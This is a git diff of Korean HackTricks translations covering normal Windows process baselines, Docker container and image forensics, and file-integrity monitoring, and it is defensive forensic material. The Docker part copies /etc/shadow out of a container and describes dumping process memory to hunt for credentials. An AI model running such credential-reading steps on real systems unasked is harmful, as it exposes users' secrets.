* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)를 **팔로우**하세요.
|
||||
* **HackTricks**와 **HackTricks Cloud** github 저장소에 **PR을 제출**하여 여러분의 해킹 기교를 **공유**하세요.
|
||||
* [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
|
||||
* [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 저장소로 **PR 제출**하여 해킹 요령을 공유하세요.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
|
||||
## smss.exe
|
||||
|
||||
**세션 관리자**.\
|
||||
세션 0은 **csrss.exe**와 **wininit.exe**(**OS 서비스**)를 시작하고 세션 1은 **csrss.exe**와 **winlogon.exe**(**사용자 세션**)을 시작합니다. 그러나 프로세스 트리에서는 **하나의 이진 파일 프로세스만** 볼 수 있어야 합니다.
|
||||
세션 0은 **csrss.exe** 및 **wininit.exe** (**OS 서비스**)를 시작하고, 세션 1은 **csrss.exe** 및 **winlogon.exe** (**사용자 세션**)를 시작합니다. 그러나 프로세스 트리에서 **해당 이진 파일의 자식이 없는 프로세스**를 하나만 볼 수 있어야 합니다.
|
||||
|
||||
또한, 0과 1 이외의 세션은 RDP 세션이 발생 중임을 의미할 수 있습니다.
|
||||
|
||||
|
@ -24,31 +25,31 @@ HackTricks를 지원하는 다른 방법:
|
|||
## csrss.exe
|
||||
|
||||
**클라이언트/서버 실행 서브시스템 프로세스**.\
|
||||
프로세스와 스레드를 관리하며, 다른 프로세스에게 **Windows API**를 사용할 수 있도록 하고, **드라이브 문자**를 매핑하고, **임시 파일**을 생성하며, **종료 프로세스**를 처리합니다.
|
||||
**프로세스** 및 **스레드**를 관리하며 다른 프로세스에 **Windows API**를 제공하고 **드라이브 문자를 매핑**하고 **임시 파일을 생성**하며 **종료 프로세스를 처리**합니다.
|
||||
|
||||
세션 0과 세션 1에서 각각 하나씩 실행됩니다(프로세스 트리에 2개의 프로세스가 있음). 새로운 세션마다 하나씩 생성됩니다.
|
||||
세션 0 및 세션 1에서 각각 하나씩 실행됩니다 (프로세스 트리에 **2개의 프로세스**가 있어야 함). 새로운 세션마다 하나씩 생성됩니다.
|
||||
|
||||
|
||||
## winlogon.exe
|
||||
|
||||
**Windows 로그온 프로세스**.\
|
||||
사용자의 **로그온/로그오프**를 담당합니다. 사용자 이름과 암호를 요청하기 위해 **logonui.exe**를 실행한 후, 이를 확인하기 위해 **lsass.exe**를 호출합니다.
|
||||
사용자 **로그온**/**로그오프**를 담당합니다. 사용자 이름과 암호를 요청하기 위해 **logonui.exe**를 실행하고, 그런 다음 **lsass.exe**를 호출하여 이를 확인합니다.
|
||||
|
||||
그런 다음 **`HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon`**의 **Userinit** 키에 지정된 **userinit.exe**를 실행합니다.
|
||||
그런 다음 **`HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon`**의 **Userinit** 키로 지정된 **userinit.exe**를 실행합니다.
|
||||
|
||||
또한, 이전 레지스트리에는 **Shell 키**에 **explorer.exe**가 있어야 하며, 그렇지 않으면 **악성 소프트웨어 지속성 방법**으로 악용될 수 있습니다.
|
||||
또한, 이전 레지스트리에는 **Shell 키**에 **explorer.exe**가 있어야 하며, 그렇지 않으면 **악성 코드 지속성 방법**으로 악용될 수 있습니다.
|
||||
|
||||
|
||||
## wininit.exe
|
||||
|
||||
**Windows 초기화 프로세스**.\
|
||||
세션 0에서 **services.exe**, **lsass.exe**, **lsm.exe**를 시작합니다. 프로세스는 하나만 있어야 합니다.
|
||||
**Windows 초기화 프로세스**. \
|
||||
세션 0에서 **services.exe**, **lsass.exe**, **lsm.exe**를 시작합니다. 하나의 프로세스만 있어야 합니다.
|
||||
|
||||
|
||||
## userinit.exe
|
||||
|
||||
**Userinit 로그온 응용 프로그램**.\
|
||||
**HKCU**의 **ntuser.dat**를 로드하고 **사용자 환경**을 초기화하며, **로그온 스크립트**와 **GPO**를 실행합니다.
|
||||
**사용자 로그온 응용 프로그램**.\
|
||||
**HKCU의 ntduser.dat**를 로드하고 **사용자 환경**을 초기화하고 **로그온 스크립트** 및 **GPO**를 실행합니다.
|
||||
|
||||
**explorer.exe**를 실행합니다.
|
||||
|
||||
|
@ -56,23 +57,23 @@ HackTricks를 지원하는 다른 방법:
|
|||
## lsm.exe
|
||||
|
||||
**로컬 세션 관리자**.\
|
||||
smss.exe와 함께 사용자 세션을 조작하는 데 사용됩니다: 로그온/로그오프, 셸 시작, 데스크톱 잠금/해제 등.
|
||||
사용자 세션을 조작하기 위해 smss.exe와 함께 작동합니다: 로그온/로그오프, 셸 시작, 데스크톱 잠금/해제 등.
|
||||
|
||||
W7 이후로 lsm.exe는 서비스(lsm.dll)로 변환되었습니다.
|
||||
W7 이후 lsm.exe는 서비스(lsm.dll)로 변환되었습니다.
|
||||
|
||||
W7에서는 하나의 프로세스만 있어야 하며, 그 중 하나는 DLL을 실행하는 서비스입니다.
|
||||
W7에는 하나의 프로세스만 있어야 하며, 그 중 하나는 DLL을 실행하는 서비스입니다.
|
||||
|
||||
|
||||
## services.exe
|
||||
|
||||
**서비스 제어 관리자**.\
|
||||
**자동 시작**으로 구성된 **서비스**와 **드라이버**를 **로드**합니다.
|
||||
**자동 시작으로 구성된 서비스** 및 **드라이버**를 **로드**합니다.
|
||||
|
||||
**svchost.exe**, **dllhost.exe**, **taskhost.exe**, **spoolsv.exe** 등의 부모 프로세스입니다.
|
||||
**svchost.exe**, **dllhost.exe**, **taskhost.exe**, **spoolsv.exe** 및 기타 많은 프로세스의 상위 프로세스입니다.
|
||||
|
||||
서비스는 `HKLM\SYSTEM\CurrentControlSet\Services`에 정의되며, 이 프로세스는 sc.exe로 쿼리할 수 있는 서비스 정보의 메모리 내 DB를 유지합니다.
|
||||
서비스는 `HKLM\SYSTEM\CurrentControlSet\Services`에 정의되어 있으며, 이 프로세스는 메모리에 서비스 정보의 DB를 유지하고 sc.exe에서 쿼리할 수 있습니다.
|
||||
|
||||
일부 서비스는 **자체 프로세스**에서 실행되고, 다른 서비스는 **svchost.exe 프로세스를 공유**합니다.
|
||||
일부 **서비스**는 **자체 프로세스에서 실행**되고 다른 서비스는 **svchost.exe 프로세스를 공유**할 것입니다.
|
||||
|
||||
하나의 프로세스만 있어야 합니다.
|
||||
|
||||
|
@ -80,49 +81,65 @@ W7에서는 하나의 프로세스만 있어야 하며, 그 중 하나는 DLL을
|
|||
## lsass.exe
|
||||
|
||||
**로컬 보안 권한 서브시스템**.\
|
||||
사용자 **인증**을 담당하고 **보안 토큰**을 생성합니다. 인증 패키지는 `HKLM\System\CurrentControlSet\Control\Lsa`에 위치한 인증 패키지를 사용합니다.
|
||||
사용자 **인증**을 담당하고 **보안 토큰**을 생성합니다. `HKLM\System\CurrentControlSet\Control\Lsa`에 위치한 인증 패키지를 사용합니다.
|
||||
|
||||
**보안 이벤트 로그**에 기록하며, 하나의 프로세스만 있어야 합니다.
|
||||
**보안** **이벤트** **로그**에 기록하며, 하나의 프로세스만 있어야 합니다.
|
||||
|
||||
이 프로세스는 패스워드 덤프를 위해 공격을 많이 받는다는 점을 유념하세요.
|
||||
이 프로세스는 패스워드 덤프를 위해 공격을 많이 받는다는 점을 염두에 두세요.
|
||||
|
||||
|
||||
## svchost.exe
|
||||
|
||||
**일반 서비스 호스트 프로세스**.\
|
||||
하나의 공유 프로세스에서 여러 DLL 서비스를 호스팅합니다.
|
||||
여러 DLL 서비스를 하나의 공유 프로세스에 호스팅합니다.
|
||||
|
||||
일반적으로 **svchost.exe**는 `-k` 플래그와 함께 실행됩니다. 이는 레지스트리 **HKEY\_LOCAL\_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost**에 쿼리를 실행하여 -k에 언급된 인수를 포함하는 키가 있으며, 동일한 프로세스에서 실행할 서비스가 포함됩니다.
|
||||
일반적으로 **svchost.exe**가 `-k` 플래그와 함께 실행됩니다. 이는 레지스트리 **HKEY\_LOCAL\_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost**로 쿼리를 시작하고, 여기에는 -k에 언급된 인수가 포함된 키가 있으며, 동일한 프로세스에서 실행할 서비스가 포함됩니다.
|
||||
|
||||
예를 들어, `-k UnistackSvcGroup`은 다음을 실행합니다: `PimIndexMaintenanceSvc MessagingService WpnUserService CDPUserSvc UnistoreSvc UserDataSvc OneSyncSvc`
|
||||
예: `-k UnistackSvcGroup`은 다음을 실행합니다: `PimIndexMaintenanceSvc MessagingService WpnUserService CDPUserSvc UnistoreSvc UserDataSvc OneSyncSvc`
|
||||
|
||||
**-s 플래그**도 인수와 함께 사용되면 svchost에게 이 인수에서 **지정된 서비스만 실행**하도록 요청합니다.
|
||||
**-s 플래그**가 인수와 함께 사용되면 svchost에게 **지정된 서비스만 실행**하도록 요청됩니다.
|
||||
|
||||
여러 개의 `svchost.exe` 프로세스가 있을 수 있습니다. 그 중 **-k 플래그를 사용하지 않는** 프로세스가 있다면 매우 의심스럽습니다. **services.exe가 부모가 아닌 경우**도 매우 의심스럽습니다.
|
||||
`svchost.exe`의 여러 프로세스가 있을 것입니다. 그 중 하나라도 **`-k` 플래그를 사용하지 않는다면** 매우 의심스럽습니다. 또한 **상위 프로세스가 services.exe가 아니라면** 매우 의심스럽습니다.
|
||||
|
||||
|
||||
## taskhost.exe
|
||||
|
||||
이 프로세스는 DLL에서 실행되는 프로세스의 호스트 역할을 합니다. 또한 DLL에서 실행되는 서비스를 로드합니다.
|
||||
이 프로세스는 DLL에서 실행되는 프로세스를 호스팅하는 역할을 합니다. 또한 DLL에서 실행되는 서비스를 로드합니다.
|
||||
|
||||
W8에서는 taskhostex.exe로, W10에서는 taskhostw.exe로 불립니다.
|
||||
|
||||
|
||||
## explorer.exe
|
||||
|
||||
이 프로세스는 **사용자의 데스크톱**을 담당하고 파일 확장자를 통해 파일을 실행합니다.
|
||||
이 프로세스는 **사용자 데스크톱**을 담당하고 파일 확장자를 통해 파일을 실행합니다.
|
||||
|
||||
**로그온한 사용자당 하나의** 프로세스가 생성되어야 합니다.
|
||||
**로그온한 사용자당 1개의** 프로세스가 생성되어야 합니다.
|
||||
|
||||
이는 **userinit.exe**에서 실행되며, 종료된 **userinit.exe**에 대한 부모가 나타나지 않아야 합니다.
|
||||
이는 **userinit.exe**에서 실행되며, 따라서 이 프로세스에 대한 **부모가 없어야** 합니다.
|
||||
|
||||
|
||||
# 악성 프로세스 탐지
|
||||
|
||||
* 예상된 경로에서 실행 중인가요? (Windows 이진 파일은 임시 위치에서 실행되지 않습니다)
|
||||
* 이상한 IP와 통신 중인가요?
|
||||
* 디지털 서명을 확인하세요 (Microsoft 아티팩트는 서명되어야 합니다)
|
||||
* 철자가 올바른가요?
|
||||
* 예상된 SID에서 실행 중인가요?
|
||||
* 부모 프로세스가 예상된 것인가요 (있는 경우)?
|
||||
* 자
|
||||
* 예상 경로에서 실행 중인가? (Windows 이진 파일은 임시 위치에서 실행되지 않음)
|
||||
* 이상한 IP와 통신 중인가?
|
||||
* 디지털 서명을 확인하세요 (Microsoft 아티팩트는 서명되어야 함)
|
||||
* 철자가 올바른가?
|
||||
* 예상 SID 하에서 실행 중인가?
|
||||
* 부모 프로세스가 예상대로인가 (있는 경우)?
|
||||
* 자식 프로세스가 예상대로인가? (cmd.exe, wscript.exe, powershell.exe가 없는지 확인하세요)
|
||||
|
||||
|
||||
{% hint style="success" %}
|
||||
**AWS 해킹 학습 및 실습:**<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
**GCP 해킹 학습 및 실습:** <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>HackTricks 지원</summary>
|
||||
|
||||
* [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
|
||||
* [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 저장소로 **PR 제출**하여 해킹 요령을 공유하세요.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,28 +1,29 @@
|
|||
# 도커 포렌식
|
||||
|
||||
{% hint style="success" %}
|
||||
AWS 해킹 학습 및 실습:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP 해킹 학습 및 실습: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 제로에서 영웅까지 AWS 해킹을 배워보세요<strong>!</strong></summary>
|
||||
<summary>HackTricks 지원</summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)를 **팔로우**하세요.
|
||||
* **HackTricks**와 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하여 여러분의 해킹 기교를 공유하세요.
|
||||
* [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* 💬 [**디스코드 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
|
||||
* 해킹 트릭을 공유하려면 [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하세요.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## 컨테이너 수정
|
||||
|
||||
어떤 도커 컨테이너가 침해당했을 가능성이 있습니다:
|
||||
어떤 도커 컨테이너가 침해당한 것으로 의심됩니다:
|
||||
```bash
|
||||
docker ps
|
||||
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
|
||||
cc03e43a052a lamp-wordpress "./run.sh" 2 minutes ago Up 2 minutes 80/tcp wordpress
|
||||
```
|
||||
이 컨테이너에 대한 이미지와 관련하여 수행된 수정 사항을 쉽게 찾을 수 있습니다. 다음과 같이 하면 됩니다:
|
||||
당신은 쉽게 다음을 사용하여 **이 컨테이너에 대한 이미지와 관련된 수정 사항을 찾을 수 있습니다**:
|
||||
```bash
|
||||
docker diff wordpress
|
||||
C /var
|
||||
|
@ -36,31 +37,31 @@ A /var/lib/mysql/mysql/time_zone_leap_second.MYI
|
|||
A /var/lib/mysql/mysql/general_log.CSV
|
||||
...
|
||||
```
|
||||
이전 명령어에서 **C**는 **변경됨(Changed)**을 의미하고, **A**는 **추가됨(Added)**을 의미합니다.\
|
||||
만약 `/etc/shadow`와 같은 흥미로운 파일이 수정되었다고 판단된다면, 악성 활동을 확인하기 위해 해당 컨테이너에서 다운로드할 수 있습니다:
|
||||
이전 명령어에서 **C**는 **변경됨(Changed)**을 의미하고 **A**는 **추가됨(Added)**을 의미합니다.\
|
||||
만약 `/etc/shadow`와 같은 흥미로운 파일이 수정되었다면, 악의적인 활동을 확인하기 위해 해당 파일을 컨테이너에서 다운로드할 수 있습니다:
|
||||
```bash
|
||||
docker cp wordpress:/etc/shadow.
|
||||
```
|
||||
새 컨테이너를 실행하고 파일을 추출하여 원본과 비교할 수도 있습니다:
|
||||
당신은 새 컨테이너를 실행하고 그 파일을 추출하여 원본과 비교할 수도 있습니다.
|
||||
```bash
|
||||
docker run -d lamp-wordpress
|
||||
docker cp b5d53e8b468e:/etc/shadow original_shadow #Get the file from the newly created container
|
||||
diff original_shadow shadow
|
||||
```
|
||||
만약 **의심스러운 파일이 추가**되었다는 것을 발견한다면, 컨테이너에 접근하여 확인할 수 있습니다:
|
||||
만약 **의심스러운 파일이 추가된 것을 발견**하면 컨테이너에 액세스하여 확인할 수 있습니다:
|
||||
```bash
|
||||
docker exec -it wordpress bash
|
||||
```
|
||||
## 이미지 수정
|
||||
|
||||
당신에게 내보낸 도커 이미지 (아마도 `.tar` 형식일 것입니다)가 주어지면 [**container-diff**](https://github.com/GoogleContainerTools/container-diff/releases)를 사용하여 **수정 내용 요약을 추출**할 수 있습니다:
|
||||
내보낸 도커 이미지(아마도 `.tar` 형식)가 주어지면 [**container-diff**](https://github.com/GoogleContainerTools/container-diff/releases)를 사용하여 **수정 사항 요약을 추출**할 수 있습니다:
|
||||
```bash
|
||||
docker save <image> > image.tar #Export the image to a .tar file
|
||||
container-diff analyze -t sizelayer image.tar
|
||||
container-diff analyze -t history image.tar
|
||||
container-diff analyze -t metadata image.tar
|
||||
```
|
||||
그런 다음 이미지를 **압축 해제**하고 **블롭에 액세스**하여 변경 내역에서 발견한 수상한 파일을 검색할 수 있습니다:
|
||||
그럼 이미지를 **압축 해제**하고 **블롭에 액세스**하여 변경 이력에서 발견한 의심스러운 파일을 검색할 수 있습니다:
|
||||
```bash
|
||||
tar -xf image.tar
|
||||
```
|
||||
|
@ -70,18 +71,18 @@ tar -xf image.tar
|
|||
```bash
|
||||
docker inspect <image>
|
||||
```
|
||||
다음과 같이 **변경 내역의 요약**을 얻을 수도 있습니다:
|
||||
당신은 또한 다음과 같이 **변경 이력 요약**을 얻을 수 있습니다:
|
||||
```bash
|
||||
docker history --no-trunc <image>
|
||||
```
|
||||
이미지에서 **도커파일을 생성**할 수도 있습니다. 다음과 같이 하면 됩니다:
|
||||
이미지에서 **도커 파일을 생성**할 수도 있습니다:
|
||||
```bash
|
||||
alias dfimage="docker run -v /var/run/docker.sock:/var/run/docker.sock --rm alpine/dfimage"
|
||||
dfimage -sV=1.36 madhuakula/k8s-goat-hidden-in-layers>
|
||||
```
|
||||
### Dive
|
||||
### 다이브
|
||||
|
||||
도커 이미지에서 추가/수정된 파일을 찾기 위해 [**dive**](https://github.com/wagoodman/dive)도 사용할 수 있습니다. (다음 [**릴리스**](https://github.com/wagoodman/dive/releases/tag/v0.10.0)에서 다운로드할 수 있습니다.) 유틸리티:
|
||||
도커 이미지에서 추가/수정된 파일을 찾으려면 [**dive**](https://github.com/wagoodman/dive)를 사용할 수도 있습니다 ([**릴리스**](https://github.com/wagoodman/dive/releases/tag/v0.10.0)에서 다운로드).
|
||||
```bash
|
||||
#First you need to load the image in your docker repo
|
||||
sudo docker load < image.tar 1 ⨯
|
||||
|
@ -90,30 +91,31 @@ Loaded image: flask:latest
|
|||
#And then open it with dive:
|
||||
sudo dive flask:latest
|
||||
```
|
||||
이를 통해 도커 이미지의 다른 덩어리를 탐색하고 수정/추가된 파일을 확인할 수 있습니다. **빨간색**은 추가된 것을 의미하고 **노란색**은 수정된 것을 의미합니다. **탭**을 사용하여 다른 뷰로 이동하고 **스페이스바**를 사용하여 폴더를 축소/확장할 수 있습니다.
|
||||
이를 통해 **도커 이미지의 다른 블롭을 탐색**하고 어떤 파일이 수정/추가되었는지 확인할 수 있습니다. **빨간색**은 추가된 것을 의미하고 **노란색**은 수정된 것을 의미합니다. **탭**을 사용하여 다른 뷰로 이동하고 **스페이스**를 사용하여 폴더를 축소/확장할 수 있습니다.
|
||||
|
||||
die를 사용하면 이미지의 다른 단계의 내용에 액세스할 수 없습니다. 이를 위해 각 레이어를 압축 해제하고 액세스해야 합니다.\
|
||||
이미지가 압축 해제된 디렉토리에서 모든 레이어를 압축 해제할 수 있습니다. 다음을 실행하세요.
|
||||
die를 사용하면 이미지의 다른 단계의 내용에 액세스할 수 없습니다. 이를 위해 **각 레이어를 압축 해제하고 액세스해야**합니다.\
|
||||
이미지의 모든 레이어를 압축 해제하려면 이미지가 압축 해제된 디렉토리에서 다음을 실행하십시오:
|
||||
```bash
|
||||
tar -xf image.tar
|
||||
for d in `find * -maxdepth 0 -type d`; do cd $d; tar -xf ./layer.tar; cd ..; done
|
||||
```
|
||||
## 메모리에서 자격 증명 얻기
|
||||
## 메모리에서 자격 증명
|
||||
|
||||
참고로 호스트 내에서 도커 컨테이너를 실행할 때 **호스트에서 컨테이너에서 실행 중인 프로세스를 볼 수 있습니다**. `ps -ef`를 실행하면 됩니다.
|
||||
호스트 내에서 도커 컨테이너를 실행할 때 **호스트에서 컨테이너에서 실행 중인 프로세스를 볼 수 있습니다**. 단순히 `ps -ef`를 실행하면 됩니다.
|
||||
|
||||
따라서 (루트 권한으로) 호스트에서 **프로세스의 메모리를 덤프**하고 [**다음 예시처럼**](../../linux-hardening/privilege-escalation/#process-memory) **자격 증명을 검색**할 수 있습니다.
|
||||
따라서 (루트로) 호스트에서 **프로세스의 메모리를 덤프**하고 [**다음 예시와 같이**](../../linux-hardening/privilege-escalation/#process-memory) **자격 증명을 검색**할 수 있습니다.
|
||||
|
||||
{% hint style="success" %}
|
||||
AWS 해킹 학습 및 실습:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP 해킹 학습 및 실습: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
||||
<summary>HackTricks 지원하기</summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스왑**](https://peass.creator-spring.com)을 얻으세요.
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**를** 팔로우하세요.
|
||||
* **HackTricks**와 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하여 여러분의 해킹 기법을 공유하세요.
|
||||
* [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* 💬 [**디스코드 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
|
||||
* [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃헙 레포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,31 +1,32 @@
|
|||
{% hint style="success" %}
|
||||
**AWS 해킹 학습 및 실습:**<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
**GCP 해킹 학습 및 실습:** <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
||||
<summary>HackTricks 지원</summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
||||
* 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family)인 [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요.
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)를 **팔로우**하세요.
|
||||
* **HackTricks**와 **HackTricks Cloud** github 저장소에 PR을 제출하여 여러분의 해킹 기법을 공유하세요.
|
||||
* [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
|
||||
* [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 저장소에 PR을 제출하여 해킹 요령을 공유하세요.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
|
||||
# 기준선
|
||||
# Baseline
|
||||
|
||||
기준선은 시스템의 특정 부분의 스냅샷을 찍어 **변경 사항을 강조하기 위해 미래 상태와 비교**하는 것으로 구성됩니다.
|
||||
베이스라인은 시스템의 특정 부분의 스냅샷을 찍어 **미래의 상태와 비교하여 변경 사항을 강조하는 것**으로 구성됩니다.
|
||||
|
||||
예를 들어, 파일 시스템의 각 파일의 해시를 계산하고 저장하여 수정된 파일을 찾을 수 있습니다.\
|
||||
이는 생성된 사용자 계정, 실행 중인 프로세스, 실행 중인 서비스 및 변경되지 않아야 할 다른 모든 것에 대해서도 수행할 수 있습니다.
|
||||
이는 생성된 사용자 계정, 실행 중인 프로세스, 실행 중인 서비스 및 변경되지 않아야 할 다른 모든 것들로도 수행할 수 있습니다.
|
||||
|
||||
## 파일 무결성 모니터링
|
||||
|
||||
파일 무결성 모니터링(FIM)은 파일의 변경 사항을 추적하여 IT 환경과 데이터를 보호하는 중요한 보안 기술입니다. 다음과 같은 두 가지 주요 단계로 이루어집니다:
|
||||
파일 무결성 모니터링 (FIM)은 파일의 변경 사항을 추적하여 IT 환경 및 데이터를 보호하는 중요한 보안 기술입니다. 다음 두 가지 주요 단계로 구성됩니다:
|
||||
|
||||
1. **기준선 비교:** 파일 속성이나 암호화 체크섬(MD5 또는 SHA-2와 같은)을 사용하여 기준선을 설정하여 변경 사항을 감지합니다.
|
||||
2. **실시간 변경 알림:** 일반적으로 OS 커널 확장을 통해 파일에 액세스하거나 변경될 때 즉시 알림을 받습니다.
|
||||
1. **베이스라인 비교:** 파일 속성이나 암호화 체크섬 (예: MD5 또는 SHA-2)을 사용하여 베이스라인을 설정하여 변경 사항을 감지하기 위해 미래 비교에 사용합니다.
|
||||
2. **실시간 변경 알림:** 파일에 액세스되거나 변경될 때 즉시 경고를 받습니다. 일반적으로 OS 커널 확장을 통해 수행됩니다.
|
||||
|
||||
## 도구
|
||||
|
||||
|
@ -37,16 +38,17 @@ HackTricks를 지원하는 다른 방법:
|
|||
* [https://cybersecurity.att.com/blogs/security-essentials/what-is-file-integrity-monitoring-and-why-you-need-it](https://cybersecurity.att.com/blogs/security-essentials/what-is-file-integrity-monitoring-and-why-you-need-it)
|
||||
|
||||
|
||||
{% hint style="success" %}
|
||||
